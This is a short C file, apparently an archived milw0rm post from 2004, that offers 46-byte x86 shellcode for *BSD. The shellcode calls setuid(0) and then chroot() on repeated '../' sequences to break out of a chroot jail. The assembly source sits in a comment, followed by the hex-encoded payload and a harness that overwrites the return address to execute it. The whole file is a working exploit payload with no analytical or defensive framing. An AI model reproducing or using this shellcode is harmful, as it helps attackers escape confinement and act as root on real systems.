/* The setuid(0)+chroot() shellcode
it will put '../' 10 times
Size 46 bytes
OS *BSD
/rootteam/dev0id (www.sysworld.net)
dev0id@uncompiled.com
BITS 32
jmp short callme
main:
pop esi
mov edi,esi
xor ecx,ecx
push ecx
mov al,0x17
push eax
int 0x80
xor eax,eax
push eax
mov cl,0x1e
mov al,0x2e
repne stosb
pop eax
stosb
mov cl,0x1e
main_loop:
dec cl
inc byte [esi+ecx]
dec cl
loop main_loop
push esi
mov al,0x3d
push eax
int 0x80
callme:
call main
*/
char shellcode[] =
"\xeb\x27\x5e\x89\xf7\x31\xc9\x51\xb0\x17\x50\xcd\x80\x31\xc0"
"\x50\xb1\x1e\xb0\x2e\xf2\xaa\x58\xaa\xb1\x1e\xfe\xc9\xfe\x04"
"\x0e\xfe\xc9\xe2\xf7\x56\xb0\x3d\x50\xcd\x80\xe8\xd4\xff\xff"
"\xff";
int
main(void)
{
int *ret;
ret = (int*)&ret + 2;
(*ret) = shellcode;
}
// milw0rm.com [2004-09-12]
